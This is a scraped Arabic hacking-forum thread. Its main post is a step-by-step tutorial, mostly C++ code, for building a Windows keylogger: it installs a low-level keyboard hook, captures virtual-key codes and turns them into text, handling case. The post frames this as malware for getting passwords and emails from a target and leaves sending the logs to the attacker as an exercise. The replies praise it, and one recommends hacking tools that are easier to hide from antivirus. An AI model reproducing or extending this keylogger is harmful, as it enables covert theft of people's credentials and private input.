        std::cout << 'z';
    break;

case VK_SPACE:
    std::cout << ' ';
    break;
default:
    std::cout << '?';
    break;
}

الخاتمة
الان نستطيع القول ان البرنامج اكتمل تقريباً تبقى فقط اضافة باقي الرموز و الارقم الموجوده في الكيبورد الى switch وتخزين هاذه المعلومات بدلاً من طباعتها ثم نقلها اليك وهاذا ساتركة لك لتقوم به :)
وهذا والله اعلم والصلاة والسلام على نبينا محمد
ما شاء الله يعطيك العافية ✨
 
ابدعت بهذا الشرح اخي، بارك الله فيك
لا تستهين بالشرح ابداً لأن البدايات تؤسس مفهوم النهايات ❤️
 
طرح ممتاز ومعلومات قيمة 🔥 ، استمر ❤️
 
  • Love
التفاعلات: lol
بسم الله الرحمن الرحيم
شرح كيفية صنع KeyLogger بلغة Cpp
ماهو ال KeyLoger ؟
باختصار هو أحد أشكال البرامج الضارة أو الأجهزة التي تقوم بتتبع وتسجيل ضغطات المفاتيح أثناء الكتابة.

استخداماته:
باستخدام هذا البرنامج يستطيع المخترق الحصول على العديد من المعلومات منها كلمة المرور و البريد الالكتروني و بعض المعلومات الحساسة
يعتمد هذا باعتبار أن المستهدف سيقوم بكتابة المعلومات المرادة و بالتالي سيقوم البرنامج بتسجيل الإدخال و تخزينه ومن ثم إرسالة إلى المخترق

المتطلبات:
لتحويل هذه الفكرة إلى برنامج باستخدام cpp يجب توفّر متطلباتها لديك، وهي:
1- أساسيات Cpp

2- أساسيات في Windows Api

مبدئيًا هذا البرنامج سيقوم بتسجيل إدخالات المستهدَف للوحة المفاتيح , ونقل هذه المعلومات إليك لن يتم شرحها :)


- كيفية عمل نظام Windows في استقبال الإدخال من لوحة المفاتيح ومعالجته:
1-استقبال الإدخال من لوحة المفاتيح
عندما يقوم المستخدم بالضغط على زر من لوحة المفاتيح، يتم إرسال إشارة إلى نظام التشغيل Windows. يعترف Windows بالضغطة على انها حدث يجب معالجته.
2-معالجة الإدخال
بمجرد استقبال الإشارة، يقوم نظام التشغيل بتحويل الإدخال إلى رمز يمثل الزر المضغوط وتسمى Virtual-Key Code

Virtual-Key Code هي سلسلة من الرموز الرقمية التي تمثل المفاتيح على لوحة المفاتيح في نظام Windows، وتُستخدم للتعرف على المفاتيح المضغوطة ومعالجتها بشكل صحيح من قبل البرامج.


3-إرسال الإدخال إلى النافذة المستهدفة
بمجرد تحويل الإدخال إلى Virtual-Key Codes، يتم إرسال هذه المعلومات إلى النافذة المستهدفة.
على سبيل المثال، إذا كان المستخدم يقوم بكتابة في متصفح الويب مثل Google Chrome، فإن النص الذي تم إدخاله سيتم توجيهه إلى نافذة المتصفح.


4-معالجة الإدخال بواسطة النافذة
بمجرد وصول الإدخال إلى النافذة، يقوم التطبيق المستهدف (مثل المتصفح) بمعالجة الإدخال بطريقة معينة. يمكن أن يتم عرض النص المدخل على شكل صفحة ويب أو استخدامه في أي عملية أخرى تدعمها النافذة.

فهم هذه العمليات يمكن أن يساعد في تطوير Keylogger بفعالية، حيث يجب على البرنامج أن يتمكن من التقاط الإدخال بعدها يتم تحويله إلى Virtual-Key Codes. ثم تحويله الى حرف مثل A وذالك ليس امرآ صعباً



معلومات:
البرنامج بسيط جدًا وسهل لدرجة أنني أخجل من وضعه في قسم البرمجيات الخبيثة


1-Hook
أولًا سنقوم باعتراض جميع الإدخالات قبل أن تصل إلى النافذه كيف ذلك؟
الموضوع جدًا سهل ولا يتطلب مهارات في الاختراق أو الهندسة العكسية فقط وظيفة واحدة في windows api وهي SetWindowsHookExW


2-KeyboardProc
قبل البدء نحتاج وظيفة KeyboardProc وهي الوظيفة التي سننمررها للـ Hook و بالتالي سيقوم ال windows بالإتصال بها كل مرة يتم فيها الضغط على أي زر في لوحة الفاتيح ويجب أن تحتوي على برامتر معينة كما هو موضح في http://learn.microsoft.com وهذه البرامتر تحتوي على معلومات منها Virtual-Key Code وهذا مانريد
3-برامتر KeyboardProc
code: يحدد نوع الحدث الذي يتم معالجته، ف إذا كانت قيمته صفرًا، فهذا يعني أن الرسالة موجهة للهوك الخاص بنا.
wParam: يحدد نوع الحدث، مثل WM_KEYDOWN للضغط على مفتاح، أو WM_KEYUP لرفع الضغط عن مفتاح.
lParam: يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.

4-برامتر SetWindowsHookExW
idHook: يحدد نوع الهوك الذي يتم تثبيته. مثال على ذلك WH_KEYBOARD_LL لهوك لوحة المفاتيح.
lpfn: يشير إلى الدالة الإنتقائية (callback function) التي سيتم استدعاؤها في هذه الحالة سيكون KeyboardProc .
hMod: يحدد HANDLE المكتبة (DLL) التي تحتوي على الدالة الإنتقائية. يمكن تعيينه عادةً إلى NULL إذا كانت الدالة الإنتقائية موجودة في نفس التطبيق.
dwThreadId: يحدد (Thread ID) الذي يرتبط به الهوك، يمكن تعيينه إلى 0 لتثبيت الهوك على جميع Thread في النظام.
لمزيد من التفاصيل: learn.microsoft



Code:
1-إنشاء KeyboardProc
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
 
}

2-استخدام SetWindowsHookExW
C++:
#include <Windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

}
int main() {
 
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);


    return 0;
}

3-استقبال الرسائل من Windows
باختصار الويندوز الآن سيرسل رسالة إلى ال KeyboardProc في كل مرة يتم الضغط على زر لوحة المفاتيح ونحتاج فقط لاستقبال هذه الرسائل

C++:
#include <Windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

}
int main() {
 
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);


    while (true)
    {
        MSG msg{};
        GetMessage(&msg, 0, 0, 0);
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

4-معالجة WM_KEYDOWN
الآن سيقوم الويندوز بإلاتصال (Call) بوظيفة (function) KeyboardProc مرتين كل مره يتم الضغط على أي زر في لوحة المفاتيح
ولكن لماذا مرتين.؟ السبب باختصار لأنه عند الضغط على المفتاح (WM_KEYDOWN) سيتصل بي KeyboardProc و عند الرفع من الزر (WM_KEYUP) أيضاً سيتصل مره أخرى على KeyboardProc وذلك سيسبب تكرار للإدخال
لذلك نحتاج أن نحل هذه المشكلة والحل بسيط جداً

C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

    if (wParam==WM_KEYDOWN)
    {

    }

}
بإضافة هذا الشرط سنتأكد أنه لن يتم تسجيل الحرف مرتين

5-معالجة lParam
كما قلت بالسابق IParam يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.
الآن نريد استخراج ال Virtual-Key Code منه
باستخدام

C++:
KBDLLHOOKSTRUCT* pKbStruct = (KBDLLHOOKSTRUCT*)lParam;

KBDLLHOOKSTRUCT : هو بنية (structure) تحتوي على معلومات الادخال , منها :
DWORD vkCode: يمثل Virtual-Key Code. على سبيل المثال، VK_A لزر A كما هو موضح في Virtual-Key Code.
DWORD scanCode: يمثل الرمز الذي يمثل المفتاح المضغوط في لوحة المفاتيح.
DWORD flags: يمثل مؤشرات إضافية تعطي معلومات حول الأحداث مثل حالة مفاتيح التحكم مثل CTRL، SHIFT، وما إلى ذلك.
DWORD time:وقت الرسالة (بالميلي ثانية).
ULONG_PTR dwExtraInfo: بيانات إضافية مرتبطة بالأحداث، عادة ما تكون مرتبطة بإرسال الحدث.

مانريدة هو vkCode لذا فل نحول ال lParam الى KBDLLHOOKSTRUCT
ثم نقوم بطباعة vkCode باستخدام std::cout

C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

    if (wParam==WM_KEYDOWN)
    {
 
        KBDLLHOOKSTRUCT* pKbStruct =(KBDLLHOOKSTRUCT*)lParam;
        DWORD virtual_key_code = pKbStruct->vkCode;
        std::cout << pKbStruct->vkCode;
 
    }
    return 0;
}
النتائج المحصول عليها ستكون عبارة عن مجموعة رموز تمثل الزر الذي تم الضغط عليه

مشاهدة المرفق 8759

كما ترى الرموز التي على اليسار تمثل ال vkCode بينما كلمة hello.world هي ترجمة هذه الرموز

تحويل vkCode إلى أحرف مفهومة:
للقيام بذلك يجب أن نعرف كل vkCode وما يعنية لذا لنذهب إلى موقع مايكروسوفت ولنرى ماذا تعني هذه الرموز هل فعلًا تعني hello.world ؟
بعد زيارة الموقع لنذهب إلى أول حرف h ولنرى vkCode المقابل له سنجد 0x48 H key أي أن h=0x48 وهي قيمة ستة عشرية (hex) لتحويلها لعدد عشري (dec) ستساوي 72 وهو مايتوافق مع أول رمزين وكذلك الامر لباقي الرموز.

برمجياً
للقيام بذلك سنقوم باستخدام switch و مقارنة ال vkCode مع الرموز الخاصة بالأحرف المراد تسجيلها مثال:
سنقوم بتحويل الرمز 72 والذي يعني h إلى حرف h فعلًا ولكن بدلاً من مقارنة vkCode مع 72 لمعرفة إذا vkCode =H نستطيع استخدام 'H' مثال

كود:
        switch (virtual_key_code)
        {
        case 'H':
            std::cout << 'H';
            break;
        default:
            std::cout << pKbStruct->vkCode;
            break;
        }

كما ترى بدلاً من استخدام 72 استخدمت H وهذا يجعل الكود أسهل
استخدمنا H كبيرة h الصغيرة لن تعمل وهذا في جميع الحروف

الآن سنطبق هذا على جميع الحروف
كود:
  switch (virtual_key_code)
  {
  case 'A':
      std::cout << 'A';
      break;
  case 'B':
      std::cout << 'B';
      break;
  case 'C':
      std::cout << 'C';
      break;
  case 'D':
      std::cout << 'D';
      break;
  case 'E':
      std::cout << 'E';
      break;
  case 'F':
      std::cout << 'F';
      break;
  case 'G':
      std::cout << 'G';
      break;
  case 'H':
      std::cout << 'H';
      break;
  case 'I':
      std::cout << 'I';
      break;
  case 'J':
      std::cout << 'J';
      break;
  case 'K':
      std::cout << 'K';
      break;
  case 'L':
      std::cout << 'L';
      break;
  case 'M':
      std::cout << 'M';
      break;
  case 'N':
      std::cout << 'N';
      break;
  case 'O':
      std::cout << 'O';
      break;
  case 'P':
      std::cout << 'P';
      break;
  case 'Q':
      std::cout << 'Q';
      break;
  case 'R':
      std::cout << 'R';
      break;
  case 'S':
      std::cout << 'S';
      break;
  case 'T':
      std::cout << 'T';
      break;
  case 'U':
      std::cout << 'U';
      break;
  case 'V':
      std::cout << 'V';
      break;
  case 'W':
      std::cout << 'W';
      break;
  case 'X':
      std::cout << 'X';
      break;
  case 'Y':
      std::cout << 'Y';
      break;
  case 'Z':
      std::cout << 'Z';
      break;
  default:
      std::cout << pKbStruct->vkCode;
      break;
  }

لنحاول كتابة hello world مرة أخرى ولنرى النتائج:
HELLOW32WORLD هذا هي النتائج 32 يمثل مسافة نستطيع إضافة ذلك إلى switch الخاص بنا
بالنظر إلى النتائج نستطيع معرفة أن هناك مشكلة كبيرة ألا وهي أن البرنامج الخاص بنا لايميز بين الأحرف الكبيرة و الأحرف الصغيرة وهذا يمثل مشكلة خصوصاً مع كلمات المر
ور

معالجة مشكلة الأحرف الكبيرة و الصغيرة
لحل هذه المشكلة سننشئ وظيفة (function) سنسميها مثلاً CapsLock_On وتعمل على ارجاع قيمة (return) وتكون:
صحيح (true) إذا كان CapsLock مفعّل وخطأ (false) إذا كان غير مفعل
وسنستخدم وظيفة(function) GetKeyState ,
تستقبل برامتر واحد : nVirtKey: رمز لمفتاح لوحة المفاتيح( vkCode ).

الإرجاع (return):
تُعيد الوظيفه (function) قيمة من نوع SHORT، والتي تحتوي على معلومات حول حالة المفتاح.
تقسم إلى قسمين :

البت الأكثر أهمية (High-Order Bit):
إذا كان البت الأكثر أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح مضغوط حاليًا (Down).
إذا كان البت الأكثر أهمية يساوي 0، فذلك يعني أن المفتاح غير مضغوط (Up).


البت الأقل أهمية (Low-Order Bit):
إذا كان البت الأقل أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح "مفعل" (Toggled).
على سبيل المثال، يُعتبر مفتاح CAPS LOCK مفعل إذا كان 1 ، ويكون المُفتاح غير مفعل (Untoggled) إذا كان البت الأقل أهمية يساوي 0.
بمعرفة هذا لننشئ وظيفة (function) CapsLock_On

C++:
bool CapsLock_On()
{
    SHORT capsLock_State = GetKeyState(VK_CAPITAL);

    return capsLock_State & 0x0001;
}

&0001 تستخدم لاستخراج البت الأقل أهمية(Low-Order Bit)

الآن لنطبق هذا على switch الخاص بنا و سنتعامل مع المسافة أيضاً
كود:
switch (virtual_key_code)
{
case 'A':
    if (CapsLock_On())
        std::cout << 'A';
    else
        std::cout << 'a';
    break;
case 'B':
    if (CapsLock_On())
        std::cout << 'B';
    else
        std::cout << 'b';
    break;
case 'C':
    if (CapsLock_On())
        std::cout << 'C';
    else
        std::cout << 'c';
    break;
case 'D':
    if (CapsLock_On())
        std::cout << 'D';
    else
        std::cout << 'd';
    break;
case 'E':
    if (CapsLock_On())
        std::cout << 'E';
    else
        std::cout << 'e';
    break;
case 'F':
    if (CapsLock_On())
        std::cout << 'F';
    else
        std::cout << 'f';
    break;
case 'G':
    if (CapsLock_On())
        std::cout << 'G';
    else
        std::cout << 'g';
    break;
case 'H':
    if (CapsLock_On())
        std::cout << 'H';
    else
        std::cout << 'h';
    break;
case 'I':
    if (CapsLock_On())
        std::cout << 'I';
    else
        std::cout << 'i';
    break;
case 'J':
    if (CapsLock_On())
        std::cout << 'J';
    else
        std::cout << 'j';
    break;
case 'K':
    if (CapsLock_On())
        std::cout << 'K';
    else
        std::cout << 'k';
    break;
case 'L':
    if (CapsLock_On())
        std::cout << 'L';
    else
        std::cout << 'l';
    break;
case 'M':
    if (CapsLock_On())
        std::cout << 'M';
    else
        std::cout << 'm';
    break;
case 'N':
    if (CapsLock_On())
        std::cout << 'N';
    else
        std::cout << 'n';
    break;
case 'O':
    if (CapsLock_On())
        std::cout << 'O';
    else
        std::cout << 'o';
    break;
case 'P':
    if (CapsLock_On())
        std::cout << 'P';
    else
        std::cout << 'p';
    break;
case 'Q':
    if (CapsLock_On())
        std::cout << 'Q';
    else
        std::cout << 'q';
    break;
case 'R':
    if (CapsLock_On())
        std::cout << 'R';
    else
        std::cout << 'r';
    break;
case 'S':
    if (CapsLock_On())
        std::cout << 'S';
    else
        std::cout << 's';
    break;
case 'T':
    if (CapsLock_On())
        std::cout << 'T';
    else
        std::cout << 't';
    break;
case 'U':
    if (CapsLock_On())
        std::cout << 'U';
    else
        std::cout << 'u';
    break;
case 'V':
    if (CapsLock_On())
        std::cout << 'V';
    else
        std::cout << 'v';
    break;
case 'W':
    if (CapsLock_On())
        std::cout << 'W';
    else
        std::cout << 'w';
    break;
case 'X':
    if (CapsLock_On())
        std::cout << 'X';
    else
        std::cout << 'x';
    break;
case 'Y':
    if (CapsLock_On())
        std::cout << 'Y';
    else
        std::cout << 'y';
    break;
case 'Z':
    if (CapsLock_On())
        std::cout << 'Z';
    else
        std::cout << 'z';
    break;

case VK_SPACE:
    std::cout << ' ';
    break;
default:
    std::cout << '?';
    break;
}

وفي النهاية نستطيع القول أن البرنامج اكتمل تقريباً تبقى فقط إضافة باقي الرموز و الأرقام الموجودة في الكيبورد إلى switch وتخزين هذه المعلومات بدلاً من طباعتها ثم نقلها إليك وهذا سأتركه لك حتى تقوم به بنفسك.

هذا والله أعلم والصلاة والسلام على نبينا محمد
جاااااااااااامد
 
  • Love
التفاعلات: lol
استمر ❤️
 
  • Love
التفاعلات: lol
لا انصح باستخدام الكيلوجر لانه صعب التشفير و بما ان برامج الاختراق تحتوي علي كيلوجر فلماذا
لا نستعملها و هي سهلة التشفير و فيها خصائص كثيرة
 

آخر المشاركات

عودة
أعلى